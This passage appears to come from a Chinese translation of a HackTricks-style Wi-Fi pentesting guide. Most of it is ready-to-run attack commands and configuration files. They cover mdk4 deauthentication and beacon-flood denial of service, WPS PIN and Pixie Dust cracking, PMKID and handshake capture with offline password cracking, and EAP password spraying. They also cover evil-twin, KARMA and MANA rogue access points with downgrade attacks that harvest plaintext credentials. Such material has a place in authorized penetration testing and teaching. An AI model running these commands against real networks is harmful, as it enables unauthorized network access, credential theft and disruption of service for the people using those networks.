# -B BSSID is the BSSID of the AP
# Notice that these and other parameters aare optional, you could give onli the ESSID and md4k will automatically search for it, wait for finding clients and deauthenticate them
mdk4 wlan0mon d -c 5 -b victim_client_mac.txt -E WifiName -B EF:60:69:D7:69:2F

通过 mdk4 进行更多的 DOS 攻击

攻击模式 b: Beacon Flood 攻击

发送信标帧以展示虚假的接入点给客户端。这有时会导致网络扫描工具甚至驱动程序崩溃!

# -a Use also non-printable caracters in generated SSIDs and create SSIDs that break the 32-byte limit
# -w n (create Open) t (Create WPA/TKIP) a (Create WPA2/AES)
# -m use real BSSIDS
# All the parameters are optional and you could load ESSIDs from a file
mdk4 wlan0mon b -a -w nta -m

攻击模式 a: 认证拒绝服务

向范围内所有可访问的接入点(AP)发送认证帧可能会使这些AP过载,特别是当涉及大量客户端时。这种强烈的流量可能导致系统不稳定,导致一些AP冻结甚至重置。

# -a BSSID send random data from random clients to try the DoS
# -i BSSID capture and repeat pakets from authenticated clients
# -m use real MACs
# only -a or -i can be used
mdk4 wlan0mon a [-i EF:60:69:D7:69:2F] [-a EF:60:69:D7:69:2F] -m

攻击模式 p: SSID探测和暴力破解

探测接入点(AP)会检查SSID是否被正确显示,并确认AP的范围。这种技术,结合使用带有或不带有字典的暴力破解隐藏的SSID,有助于识别和访问隐藏网络。

攻击模式 m: Michael对策利用

向不同的QoS队列发送随机或重复的数据包可能会触发TKIP AP上的Michael对策,导致AP关闭一分钟。这种方法是一种高效的DoS(拒绝服务)攻击策略。

# -t <BSSID> of a TKIP AP
# -j use inteligent replay to create the DoS
mdk4 wlan0mon m -t EF:60:69:D7:69:2F [-j]

攻击模式 e: EAPOL Start 和 Logoff 数据包注入

通过向接入点(AP)发送大量的 EAPOL Start 帧 可以创建 虚假会话,使AP不堪重负并阻塞合法客户端。另一种方法是注入 虚假的 EAPOL Logoff 消息 强制断开客户端连接,这两种方法都能有效地干扰网络服务。

# Use Logoff messages to kick clients
mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l]

攻击模式 s: 针对 IEEE 802.11s 网络的攻击

针对网状网络中的链路管理和路由的各种攻击。

攻击模式 w: WIDS 混淆

将客户端交叉连接到多个 WDS 节点或虚假的伪装 AP 可以操纵入侵检测和预防系统,制造混乱并可能导致系统被滥用。

# -z activate Zero_Chaos' WIDS exploit (authenticates clients from a WDS to foreign APs to make WIDS go nuts)
mkd4 -e <SSID> -c <channel> [-z]

攻击模式 f: 数据包模糊器

一个数据包模糊器,具有多样的数据包来源和用于数据包操作的全面修改器集合。

Airggedon

Airgeddon 提供了先前评论中提出的大部分攻击:

WPS

WPS(Wi-Fi Protected Setup)简化了将设备连接到路由器的过程,增强了对使用WPA或WPA2个人加密网络的设置速度和便捷性。对于易受攻击的WEP安全性来说,WPS是无效的。WPS采用一个由两部分验证的8位数PIN,由于其有限的组合数量(11,000种可能性),容易受到暴力破解攻击的影响。

WPS 暴力破解

有两个主要工具可执行此操作:Reaver 和 Bully。

  • Reaver 旨在针对WPS进行强大而实用的攻击,并已针对各种接入点和WPS实现进行了测试。

  • Bully 是WPS暴力破解攻击的新实现,用C语言编写。它相对于原始的reaver代码具有几个优点:较少的依赖性,改进的内存和CPU性能,正确处理字节序,以及更强大的选项集。

该攻击利用了WPS PIN的漏洞,特别是其暴露的前四位数字和最后一位数字作为校验和的作用,从而简化了暴力破解攻击。然而,对抗暴力破解攻击的防御措施,如阻止攻击者的MAC地址,需要进行MAC地址轮换以继续攻击。

通过使用类似Bully或Reaver的工具获取WPS PIN后,攻击者可以推断出WPA/WPA2 PSK,确保持久的网络访问。

reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -b -f -N [-L -d 2] -vvroot
bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3

智能暴力破解

这种精细的方法针对使用已知漏洞的WPS PIN:

  1. 预先发现的PIN:利用已知使用统一WPS PIN的特定制造商的PIN数据库。该数据库将MAC地址的前三个八位字节与这些制造商的可能PIN相关联。

  2. PIN生成算法:利用ComputePIN和EasyBox等算法,根据AP的MAC地址计算WPS PIN。Arcadyan算法还需要设备ID,为PIN生成过程增加了一层。

WPS Pixie Dust攻击

简单来说,问题在于一些AP在连接过程中未使用足够随机的密钥加密PIN。这使得PIN容易受到外部网络(离线暴力破解攻击)的猜测。

reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -K 1 -N -vv
bully  wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3
./oneshot -i wlan0 -K -b 00:C0:CA:78:B1:37

空 Pin 攻击

一些设计不良的系统甚至允许空 PIN(空或不存在的 PIN)授予访问权限,这是相当不寻常的。与Bully 不同,工具 Reaver 能够测试这种漏洞。

reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''

Airgeddon

所有提出的WPS攻击都可以通过 airgeddon 轻松执行。

  • 步骤5和6允许您尝试 自定义PIN(如果有的话)

  • 步骤7和8执行 Pixie Dust攻击

  • 步骤13允许您测试 NULL PIN

  • 步骤11和12将从可用数据库中 重新收集与所选AP相关的PIN 并使用以下方式生成可能的 PIN:ComputePIN、EasyBox,以及可选的Arcadyan(推荐,为什么不呢?)

  • 步骤9和10将测试 每个可能的PIN

WEP

现在已经破解且不再使用。只需知道 airgeddon 有一个名为“全能”的WEP选项来攻击这种保护。更多工具提供类似选项。


黑客见解 参与深入探讨黑客的刺激和挑战的内容

实时黑客新闻 通过实时新闻和见解了解快节奏的黑客世界

最新公告 了解最新的赏金任务发布和重要平台更新


WPA/WPA2 PSK

PMKID

许多现代路由器在关联期间的第一个EAPOL帧中添加了一个 可选字段,称为 Robust Security Network。其中包括 PMKID。

正如原始帖子所解释的那样,PMKID 是使用已知数据创建的:

PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)

鉴于"PMK名称"是恒定的,我们知道AP和站点的BSSID,并且PMK与完整的4路握手中的相同,hashcat可以使用此信息来破解PSK并恢复密码!

要收集此信息并在本地暴力破解密码,您可以执行:

airmon-ng check kill
airmon-ng start wlan0
git clone https://github.com/ZerBea/hcxdumptool.git; cd hcxdumptool; make; make install
hcxdumptool -o /tmp/attack.pcap -i wlan0mon --enable_status=1
#You can also obtains PMKIDs using eaphammer
./eaphammer --pmkid --interface wlan0 --channel 11 --bssid 70:4C:A5:F8:9A:C1

捕获到的PMKIDs将显示在控制台中,并且也会保存在 _/tmp/attack.pcap_ 现在,将捕获的内容转换为hashcat/john格式并进行破解:

hcxtools/hcxpcaptool -z hashes.txt /tmp/attack.pcapng
hashcat -m 16800 --force hashes.txt /usr/share/wordlists/rockyou.txt
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt

请注意,正确的哈希格式包含4个部分,如:4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7566f6461666f6e65436f6e6e6563743034383131343838 如果您的哈希值只包含3个部分,那么它是无效的(PMKID捕获无效)。

请注意,hcxdumptool也会捕获握手(类似于这样的内容将出现:MP:M1M2 RC:63258 EAPOLTIME:17091)。您可以使用cap2hccapx将握手转换为hashcat/john格式。

tcpdump -r /tmp/attack.pcapng -w /tmp/att.pcap
cap2hccapx pmkid.pcapng pmkid.hccapx ["Filter_ESSID"]
hccap2john pmkid.hccapx > handshake.john
john handshake.john --wordlist=/usr/share/wordlists/rockyou.txt
aircrack-ng /tmp/att.pcap -w /usr/share/wordlists/rockyou.txt #Sometimes

握手捕获

对WPA/WPA2网络的攻击可以通过捕获握手并尝试离线破解密码来执行。这个过程涉及监视特定网络和BSSID在特定信道上的通信。以下是简化的指南:

  1. 确定目标网络的BSSID、信道和已连接客户端。

  2. 使用airodump-ng来监视指定信道和BSSID上的网络流量,希望捕获一个握手。命令如下:

airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap
  1. 为了增加捕获握手的机会,暂时断开客户端与网络的连接,强制重新认证。可以使用 aireplay-ng 命令来实现,该命令向客户端发送去认证数据包:

aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, may not work in all scenarios

注意,由于客户端被去认证,它可能会尝试连接到另一个接入点,或者在其他情况下,连接到另一个网络。

一旦在 airodump-ng 中出现一些握手信息,这意味着已捕获到握手,您可以停止监听:

一旦捕获到握手,您可以使用 aircrack-ng 进行破解:

aircrack-ng -w /usr/share/wordlists/rockyou.txt -b 64:20:9F:15:4F:D7 /tmp/psk*.cap

检查文件中是否存在握手信息

aircrack

aircrack-ng psk-01.cap #Search your bssid/essid and check if any handshake was capture

tshark

tshark -r psk-01.cap -n -Y eapol #Filter handshake messages #You should have the 4 messages.
cowpatty -r psk-01.cap -s "ESSID" -f -

如果此工具在找到完整握手之前找到了 ESSID 的不完整握手,则不会检测到有效的握手。

pyrit

apt-get install pyrit #Not working for newer versions of kali
pyrit -r psk-01.cap analyze

WPA企业(MGT)

在企业WiFi设置中,您将遇到各种认证方法,每种方法提供不同的安全级别和管理功能。当您使用诸如airodump-ng之类的工具来检查网络流量时,您可能会注意到这些认证类型的标识符。一些常见的方法包括:

6A:FE:3B:73:18:FB  -58       19        0    0   1  195  WPA2 CCMP   MGT  NameOfMyWifi
  1. EAP-GTC (通用令牌卡):

  • 该方法支持硬件令牌和EAP-PEAP中的一次性密码。与MSCHAPv2不同,它不使用对等挑战,并将密码以明文形式发送到接入点,存在降级攻击的风险。

  1. EAP-MD5 (消息摘要 5):

  • 包括从客户端发送密码的MD5哈希。由于容易受到字典攻击的漏洞、缺乏服务器认证以及无法生成特定会话的WEP密钥,不建议使用该方法。

  1. EAP-TLS (传输层安全):

  • 采用客户端和服务器端证书进行身份验证,并可动态生成用于保护通信的基于用户和会话的WEP密钥。

  1. EAP-TTLS (隧道传输层安全):

  • 通过加密隧道提供相互认证,以及一种派生动态的、每个用户、每个会话的WEP密钥的方法。它仅需要服务器端证书,客户端使用凭据。

  1. PEAP (受保护的可扩展认证协议):

  • 通过为受保护的通信创建TLS隧道,类似于EAP的功能。由于隧道提供的保护,它允许在EAP之上使用较弱的身份验证协议。

  • PEAP-MSCHAPv2: 通常称为PEAP,它将易受攻击的MSCHAPv2挑战/响应机制与保护性TLS隧道结合在一起。

  • PEAP-EAP-TLS (或PEAP-TLS): 类似于EAP-TLS,但在交换证书之前启动TLS隧道,提供额外的安全层。

用户名捕获

即使使用最安全的身份验证方法之一:PEAP-EAP-TLS,也可以捕获在EAP协议中发送的用户名。为此,捕获身份验证通信(在一个信道内启动airodump-ng,在同一接口上启动wireshark)并通过eapol过滤数据包。 在“Response, Identity”数据包中,将显示客户端的用户名。

匿名身份

EAP-PEAP和EAP-TTLS都支持身份隐藏。在WiFi网络的背景下,接入点(AP)通常在关联过程中发起EAP-Identity请求。为确保用户匿名性的保护,来自用户设备上的EAP客户端的响应仅包含初始RADIUS服务器处理请求所需的基本信息。通过以下场景说明了这一概念:

  • EAP-Identity = 匿名

  • 在此场景中,所有用户都使用“匿名”作为他们的用户标识符。初始RADIUS服务器充当EAP-PEAP或EAP-TTLS服务器,负责管理PEAP或TTLS协议的服务器端。然后,内部(受保护的)身份验证方法要么在本地处理,要么委托给远程(主页)RADIUS服务器。

  • EAP-Identity = 匿名@realm_x

  • 在这种情况下,来自不同领域的用户隐藏其身份,同时指示各自的领域。这使得初始RADIUS服务器可以将EAP-PEAP或EAP-TTLS请求代理到其主页领域中的RADIUS服务器,后者充当PEAP或TTLS服务器。初始RADIUS服务器仅充当RADIUS中继节点。

  • 或者,初始RADIUS服务器可以充当EAP-PEAP或EAP-TTLS服务器,并处理受保护的身份验证方法或将其转发到另一台服务器。此选项便于为不同领域配置不同的策略。

在EAP-PEAP中,一旦建立了PEAP服务器和PEAP客户端之间的TLS隧道,PEAP服务器会发起EAP-Identity请求并通过TLS隧道传输。客户端会通过加密隧道发送包含用户真实身份的第二个EAP-Identity响应以回应此次EAP-Identity请求。这种方法有效地防止了任何窃听802.11流量的人揭示用户的实际身份。

EAP-TTLS遵循稍微不同的过程。使用EAP-TTLS时,客户端通常使用PAP或CHAP进行身份验证,由TLS隧道保护。在这种情况下,客户端在隧道建立后发送的初始TLS消息中包含一个User-Name属性和一个Password或CHAP-Password属性。

无论选择哪种协议,PEAP/TTLS服务器在建立TLS隧道后都会获知用户的真实身份。真实身份可以表示为user@realm或仅为user。如果PEAP/TTLS服务器还负责对用户进行身份验证,则现在拥有用户的身份并继续使用TLS隧道保护的身份验证方法。或者,PEAP/TTLS服务器可以向用户的主页RADIUS服务器转发新的RADIUS请求。这个新的RADIUS请求省略了PEAP或TTLS协议层。在受保护的身份验证方法为EAP的情况下,内部EAP消息将被传输到主页RADIUS服务器,而不包含EAP-PEAP或EAP-TTLS包装。传出RADIUS消息的User-Name属性包含用户的真实身份,替换了传入RADIUS请求中的匿名User-Name。如果受保护的身份验证方法是PAP或CHAP(仅由TTLS支持),则从TLS负载中提取的User-Name和其他身份验证属性将替换传入RADIUS请求中找到的匿名User-Name和TTLS EAP-Message属性。

EAP-暴力破解(密码喷洒)

./air-hammer.py -i wlan0 -e Test-Network -P UserPassword1 -u usernames.txt

您也可以使用 eaphammer 进行此攻击:

./eaphammer --eap-spray \
--interface-pool wlan0 wlan1 wlan2 wlan3 wlan4 \
--essid example-wifi \
--password bananas \
--user-list users.txt

客户端攻击理论

网络选择和漫游

  • 802.11协议定义了一个站点如何加入扩展服务集(ESS),但并未指定选择ESS或其中的接入点(AP)的标准。

  • 站点可以在共享相同ESSID的AP之间漫游,跨建筑物或区域保持连接。

  • 该协议要求站点对ESS进行身份验证,但不要求AP对站点进行身份验证。

首选网络列表(PNLs)

  • 站点将连接到的每个无线网络的ESSID存储在其首选网络列表(PNL)中,以及网络特定的配置详细信息。

  • PNL用于自动连接到已知网络,通过简化连接过程来改善用户体验。

被动扫描

  • AP定期广播信标帧,宣布其存在和特性,包括AP的ESSID,除非禁用广播。

  • 在被动扫描期间,站点监听信标帧。如果信标的ESSID与站点的PNL中的条目匹配,则站点可能会自动连接到该AP。

  • 知道设备的PNL可以通过模仿已知网络的ESSID来欺骗设备连接到伪造的AP,从而进行潜在的利用。

主动探测

  • 主动探测涉及站点发送探测请求以发现附近的AP及其特征。

  • 定向探测请求针对特定ESSID,有助于检测特定网络是否在范围内,即使是隐藏网络也可以。

  • 广播探测请求具有空的SSID字段,并发送给所有附近的AP,让站点检查任何首选网络而不透露其PNL内容。

具有重定向到互联网的简单AP

在解释如何执行更复杂的攻击之前,将解释如何仅创建一个AP并将其流量重定向到连接到互联网的接口。

使用ifconfig -a检查用于创建AP的wlan接口和连接到互联网的接口是否存在。

DHCP和DNS

apt-get install dnsmasq #Manages DHCP and DNS

创建配置文件 /etc/dnsmasq.conf:

interface=wlan0
dhcp-authoritative
dhcp-range=192.168.1.2,192.168.1.30,255.255.255.0,12h
dhcp-option=3,192.168.1.1
dhcp-option=6,192.168.1.1
server=8.8.8.8
log-queries
log-dhcp
listen-address=127.0.0.1

然后设置IP和路由:

ifconfig wlan0 up 192.168.1.1 netmask 255.255.255.0
route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1

然后 启动 dnsmasq:

dnsmasq -C dnsmasq.conf -d

hostapd

hostapd

apt-get install hostapd

创建一个配置文件 hostapd.conf:

interface=wlan0
driver=nl80211
ssid=MITIWIFI
hw_mode=g
channel=11
macaddr_acl=0
ignore_broadcast_ssid=0
auth_algs=1
wpa=2
wpa_passphrase=mitmwifi123
wpa_key_mgmt=WPA-PSK
wpa_pairwise=CCMP
wpa_group_rekey=86400
ieee80211n=1
wme_enabled=1

停止烦人的进程,设置监控模式,然后启动hostapd:

airmon-ng check kill
iwconfig wlan0 mode monitor
ifconfig wlan0 up
hostapd ./hostapd.conf

转发和重定向

iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
iptables --append FORWARD --in-interface wlan0 -j ACCEPT
echo 1 > /proc/sys/net/ipv4/ip_forward

恶意孪生者

恶意孪生者攻击利用WiFi客户端识别网络的方式,主要依赖网络名称(ESSID),而无需基站(接入点)向客户端进行身份验证。关键点包括:

  • 难以区分:当合法和恶意接入点共享相同的ESSID和加密类型时,设备很难区分二者。现实世界中的网络通常使用多个具有相同ESSID的接入点,以无缝扩展覆盖范围。

  • 客户端漫游和连接操纵:802.11协议允许设备在同一ESS内的接入点之间漫游。攻击者可以利用这一点,诱使设备断开与当前基站的连接并连接到恶意接入点。这可以通过提供更强的信号或通过发送去认证数据包或干扰合法接入点的连接等方法来实现。

  • 执行中的挑战:在具有多个位置良好的接入点的环境中成功执行恶意孪生者攻击可能具有挑战性。去认证单个合法接入点通常会导致设备连接到另一个合法接入点,除非攻击者可以去认证所有附近的接入点或策略性地放置恶意接入点。

airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon

您还可以使用eaphammer创建一个恶意双子(请注意,要使用eaphammer创建恶意双子,接口不应该处于监控模式):

./eaphammer -i wlan0 --essid exampleCorp --captive-portal

或者使用Airgeddon:选项:5,6,7,8,9(在恶意双胞胎攻击菜单中)。

请注意,默认情况下,如果PNL中保存的ESSID受到WPA保护,设备不会自动连接到一个开放的恶意双胞胎。您可以尝试对真实AP进行DoS攻击,并希望用户手动连接到您的开放恶意双胞胎,或者您可以对真实AP进行DoS攻击并使用WPA恶意双胞胎来捕获握手(使用此方法,您将无法让受害者连接到您,因为您不知道PSK,但您可以捕获握手并尝试破解它)。

一些操作系统和防病毒软件会警告用户连接到开放网络是危险的...

WPA/WPA2恶意双胞胎

您可以创建一个使用WPA/2的恶意双胞胎,如果设备已配置为使用WPA/2连接到该SSID,它们将尝试连接。无论如何,为了完成4次握手,您还需要知道客户端将使用的密码。如果您不知道它,连接将无法完成。

./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword"

企业级恶意双生

使用hostapd-wpe

./apd_launchpad.py -t victim -s PrivateSSID -i wlan0 -cn company.com
hostapd-wpe ./victim/victim.conf -s

在配置文件中,您可以选择许多不同的内容,如SSID、频道、用户文件、证书/密钥、DH参数、WPA版本和认证...

使用EAPHammer

# Generate Certificates
./eaphammer --cert-wizard

# Launch Attack
./eaphammer -i wlan0 --channel 4 --auth wpa-eap --essid CorpWifi --creds

默认情况下,EAPHammer使用以下身份验证方法(请注意,首先尝试获取明文密码的是GTC,然后使用更强大的身份验证方法):

GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5

这是避免长连接时间的默认方法。但是,您也可以指定服务器的认证方法从最弱到最强:

--negotiate weakest

或者您也可以使用:

  • 使用--negotiate gtc-downgrade来使用高效的GTC降级实现(明文密码)

  • 使用--negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP来手动指定提供的方法(以与组织相同的顺序提供相同的认证方法,攻击将更难被检测)。

使用Airgeddon

Airgeddon可以使用先前生成的证书来为WPA/WPA2企业网络提供EAP身份验证。虚假网络将将连接协议降级为EAP-MD5,以便捕获用户和密码的MD5。稍后,攻击者可以尝试破解密码。 Airggedon为您提供了**持续的恶意双子攻击(嘈杂)或仅在有人连接时创建恶意攻击(平稳)**的可能性。

在恶意双子攻击中调试PEAP和EAP-TTLS TLS隧道

此方法在PEAP连接中进行了测试,但由于我正在解密一个任意的TLS隧道,因此这也应该适用于EAP-TTLS

在_hostapd-wpe_的配置中注释包含dh_file的行(从dh_file=/etc/hostapd-wpe/certs/dh到#dh_file=/etc/hostapd-wpe/certs/dh) 这将使hostapd-wpe使用RSA交换密钥,而不是DH,因此您将能够稍后知道服务器的私钥来解密流量。

现在像往常一样使用修改后的配置启动恶意双子使用**hostapd-wpe。同时,在执行恶意双子攻击的接口上启动wireshark**。

现在或稍后(当您已经捕获了一些认证意图时),您可以在Edit --> Preferences --> Protocols --> TLS --> (RSA keys list) Edit...中向wireshark添加私有RSA密钥。

添加一个新条目并填写以下值:IP地址 = any -- 端口 = 0 -- 协议 = 数据 -- 密钥文件(选择您的密钥文件,为避免问题,请选择一个没有密码保护的密钥文件)。

然后查看新的**"解密的TLS"标签**:

KARMA、MANA、Loud MANA和已知信标攻击

ESSID和MAC黑/白名单

不同类型的媒体访问控制过滤列表(MFACLs)及其相应的模式和对恶意接入点(AP)行为的影响:

  1. 基于MAC的白名单:

  • 恶意AP将仅对白名单中指定的设备的探测请求做出响应,对所有未列出的设备保持不可见。

  1. 基于MAC的黑名单:

  • 恶意AP将忽略黑名单中设备的探测请求,有效地使恶意AP对这些特定设备不可见。

  1. 基于ESSID的白名单:

  • 恶意AP将仅对列出的特定ESSID的探测请求做出响应,使其对不包含这些ESSID的首选网络列表(PNLs)的设备不可见。

  1. 基于ESSID的黑名单:

  • 恶意AP将不对黑名单中的特定ESSID的探测请求做出响应,使其对寻找这些特定网络的设备不可见。

# example EAPHammer MFACL file, wildcards can be used
09:6a:06:c8:36:af
37:ab:46:7a:9a:7c
c7:36:8c:b2:*:*

[--mac-whitelist /path/to/mac/whitelist/file.txt #EAPHammer whitelisting]
[--mac-blacklist /path/to/mac/blacklist/file.txt #EAPHammer blacklisting]
# example ESSID-based MFACL file
name1
name2
name3

[--ssid-whitelist /path/to/mac/whitelist/file.txt]
[--ssid-blacklist /path/to/mac/blacklist/file.txt]

KARMA

这种方法允许攻击者创建一个恶意接入点(AP),它会响应所有寻找连接网络的设备的探测请求。这种技术通过模仿设备正在搜索的网络,欺骗设备连接到攻击者的AP。一旦设备向这个恶意AP发送连接请求,它会完成连接,导致设备错误地连接到攻击者的网络。

MANA

随后,设备开始忽略未经请求的网络响应,降低了原始karma攻击的有效性。然而,Ian de Villiers和Dominic White引入了一种新方法,称为MANA攻击。这种方法涉及恶意AP通过响应设备的广播探测请求来捕获设备的首选网络列表(PNL),并提供设备之前请求过的网络名称(SSID)。这种复杂的攻击通过利用设备记住和优先考虑已知网络的方式,绕过了原始karma攻击的保护措施。

MANA攻击通过监视设备的定向和广播探测请求来运作。对于定向请求,它记录设备的MAC地址和请求的网络名称,并将这些信息添加到列表中。当接收到广播请求时,AP会回复与设备列表中任何网络匹配的信息,诱使设备连接到恶意AP。

./eaphammer -i wlan0 --cloaking full --mana --mac-whitelist whitelist.txt [--captive-portal] [--auth wpa-psk --creds]

Loud MANA

Loud MANA攻击是一种高级策略,用于当设备不使用定向探测或攻击者不知道它们的首选网络列表(PNL)时。它的操作原理是同一区域的设备很可能在它们的PNL中共享一些网络名称。与有选择性地响应不同,这种攻击会为所有观察到的设备的组合PNL中发现的每个网络名称(ESSID)广播探测响应。这种广泛的方法增加了设备识别熟悉网络并尝试连接到恶意接入点(AP)的机会。

./eaphammer -i wlan0 --cloaking full --mana --loud [--captive-portal] [--auth wpa-psk --creds]

已知信标攻击

当Loud MANA攻击可能不够时,已知信标攻击提供了另一种方法。该方法通过模拟一个响应任何网络名称的AP,循环遍历来自字典的潜在ESSID列表,通过强制连接过程。这会模拟存在大量网络的情况,希望能够匹配受害者PNL中的ESSID,促使连接尝试连接到伪造的AP。该攻击可以通过与--loud选项结合使用来增强,以更积极地尝试诱捕设备。

Eaphammer将此攻击实现为MANA攻击,其中列表中的所有ESSID都会被充电(您还可以将其与--loud结合使用,创建Loud MANA + Known beacons攻击):

./eaphammer -i wlan0 --mana [--loud] --known-beacons  --known-ssids-file wordlist.txt [--captive-portal] [--auth wpa-psk --creds]

已知的信标突发攻击

已知的信标突发攻击涉及对文件中列出的每个ESSID进行信标帧的快速广播。这将创建一个充满虚假网络的密集环境,极大地增加设备连接到恶意AP的可能性,特别是当与MANA攻击结合使用时。该技术利用速度和数量来淹没设备的网络选择机制。

# transmit a burst of 5 forged beacon packets for each entry in list
./forge-beacons -i wlan1 \
--bssid de:ad:be:ef:13:37 \
--known-essids-file known-s.txt \
--dst-addr 11:22:33:11:22:33 \
--burst-count 5

Wi-Fi Direct

Wi-Fi Direct 是一种协议,使设备可以直接使用 Wi-Fi 连接,无需传统无线接入点。这种能力已集成到各种物联网(IoT)设备中,如打印机和电视,促进了设备之间的直接通信。Wi-Fi Direct 的一个显著特点是,一个设备扮演访问点的角色,称为组所有者,用于管理连接。

Wi-Fi Direct 连接的安全性是通过 Wi-Fi Protected Setup (WPS) 建立的,支持几种安全配对方法,包括:

  • 按键配置 (PBC)

  • PIN 输入

  • 近场通信 (NFC)

这些方法,特别是 PIN 输入,容易受到传统 Wi-Fi 网络中 WPS 相同的漏洞影响,使它们成为类似攻击向量的目标。

EvilDirect Hijacking

EvilDirect Hijacking 是一种针对 Wi-Fi Direct 的特定攻击。它类似于恶意双胞胎攻击的概念,但针对 Wi-Fi Direct 连接。在这种情况下,攻击者冒充合法的组所有者,旨在欺骗设备连接到恶意实体。可以使用诸如 airbase-ng 这样的工具执行此方法,通过指定被冒充设备的信道、ESSID 和 MAC 地址:

参考资料

黑客见解 参与深入探讨黑客行为的刺激和挑战的内容

实时黑客新闻 通过实时新闻和见解了解快节奏的黑客世界

最新公告 了解最新发布的赏金计划和重要平台更新

加入服务器,与经验丰富的黑客和赏金猎人交流!

加入我们的 ,立即与顶尖黑客合作!

来自 .

在 。

Dominique Bongard发现了一些接入点(AP)在创建秘密代码(称为nonce(E-S1和E-S2))方面存在缺陷。如果能够找出这些nonce,破解AP的WPS PIN就变得容易。AP通过特殊代码(哈希)显示PIN,以证明其合法性,而不是伪造(恶意)AP。这些nonce本质上是解锁保存WPS PIN的“保险柜”的“钥匙”。更多信息请参阅。

如果您不想将设备切换到监视模式,或者reaver和bully存在一些问题,您可以尝试。 这个工具可以执行 Pixie Dust 攻击,而无需切换到监视模式。

加入 服务器,与经验丰富的黑客和赏金猎人交流!

加入我们的 ,立即与顶尖黑客合作!

2018年,hashcat 了一种新的攻击方法,独特之处在于它只需要 一个数据包,并且不需要任何客户端连接到目标AP——只需攻击者与AP之间的交互。

您可以在和找到有关这些身份验证方法的更多信息。

阅读后,如果您使用EAP,则必须支持**“Identity”** 消息,并且用户名将在**“Response Identity”** 消息中以明文形式发送。

有关更多信息,请查看

如果客户端预计使用用户名和密码(请注意,在这种情况下EAP-TLS将无效),则可以尝试获取用户名列表(请参见下一部分)和密码,并尝试使用****进行访问的暴力破解。

要了解这些攻击,我建议先阅读简要的。

hostapd-wpe需要一个配置文件才能工作。要自动化生成这些配置,您可以使用(下载python文件到 /etc/hostapd-wpe/)。

TODO: 查看 (使用 Facebook 登录和在 captive portals 中模拟 WPA)

加入 服务器,与经验丰富的黑客和赏金猎人交流!

加入我们的 ,立即与顶尖黑客合作!

🤩
HackenProof Discord
Discord
Wifite2
这里:
这里
这里
OneShot-C
HackenProof Discord
Discord
揭示
cowpatty
这里
这里
https://tools.ietf.org/html/rfc3748#page-27
https://www.interlinknetworks.com/app_notes/eap-peap.htm
air-hammer
https://github.com/WJDigby/apd_launchpad
使用hostapd-wpe与EAP-TLS允许任何证书登录。
在维基中查找更多信息
https://posts.specterops.io/modern-wireless-attacks-pt-i-basic-rogue-ap-theory-evil-twin-and-karma-attacks-35a8571550ee
https://posts.specterops.io/modern-wireless-attacks-pt-ii-mana-and-known-beacon-attacks-97a359d385f9
https://posts.specterops.io/modern-wireless-tradecraft-pt-iii-management-frame-access-control-lists-mfacls-22ca7f314a38
https://posts.specterops.io/modern-wireless-tradecraft-pt-iv-tradecraft-and-detection-d1a95da4bb4d
https://github.com/gdssecurity/Whitepapers/blob/master/GDS%20Labs%20-%20Identifying%20Rogue%20Access%20Point%20Attacks%20Using%20Probe%20Response%20Patterns%20and%20Signal%20Strength.pdf
http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/
https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/
https://medium.com/hacking-info-sec/ataque-clientless-a-wpa-wpa2-usando-pmkid-1147d72f464d
https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)
https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/
https://github.com/wifiphisher/wifiphisher
HackenProof Discord
Discord
WPA企业解释
htARTE(HackTricks AWS Red Team Expert)
订阅计划
官方PEASS & HackTricks周边产品
PEASS家族
NFTs
Discord群
电报群
@hacktricks_live
HackTricks
HackTricks Cloud